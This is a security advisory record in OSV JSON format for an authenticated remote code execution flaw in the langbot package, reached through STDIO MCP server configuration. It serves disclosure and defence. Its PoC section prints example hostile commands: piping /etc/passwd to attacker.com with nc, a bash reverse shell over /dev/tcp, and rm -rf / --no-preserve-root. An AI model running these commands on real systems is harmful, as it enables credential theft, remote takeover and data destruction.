{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langbot"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T17:39:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an \"STDIO\" MCP with an arbitrary command.\n\n### Details\nThe repository uses StdioServerParameters which is based on Anthropic\u0027s modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.\n\nSince the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.\n\n### PoC\n1. Open the LangBot server\n2. Navigate to Extensions\n3. Open the \"MCP\" tab and press \"Add\"\n4. Choose an STDIO server configuration\n5. Add any arbitrary command with arguments\n\u003cimg width=\"480\" height=\"538\" alt=\"Screenshot 2026-01-19 at 15 08 43\" src=\"https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd\" /\u003e\n\nNote that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i \u003e\u0026 /dev/tcp/10.0.0.1/8080 0\u003e\u00261), potentially removing the whole machine\u0027s data (rm -rf / --no-preserve-root), and many more.\n\n### Impact\nThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement).\nCWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027).\n\n### Video POC\nhttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea\n\n### Resources\nhttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/\nhttps://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/",
  "id": "GHSA-3pvh-63gf-j9mw",
  "modified": "2026-07-15T17:39:34Z",
  "published": "2026-07-15T17:39:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langbot-app/LangBot/security/advisories/GHSA-3pvh-63gf-j9mw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langbot-app/LangBot"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangBot: Authenticated RCE Via MCP Configuration"
}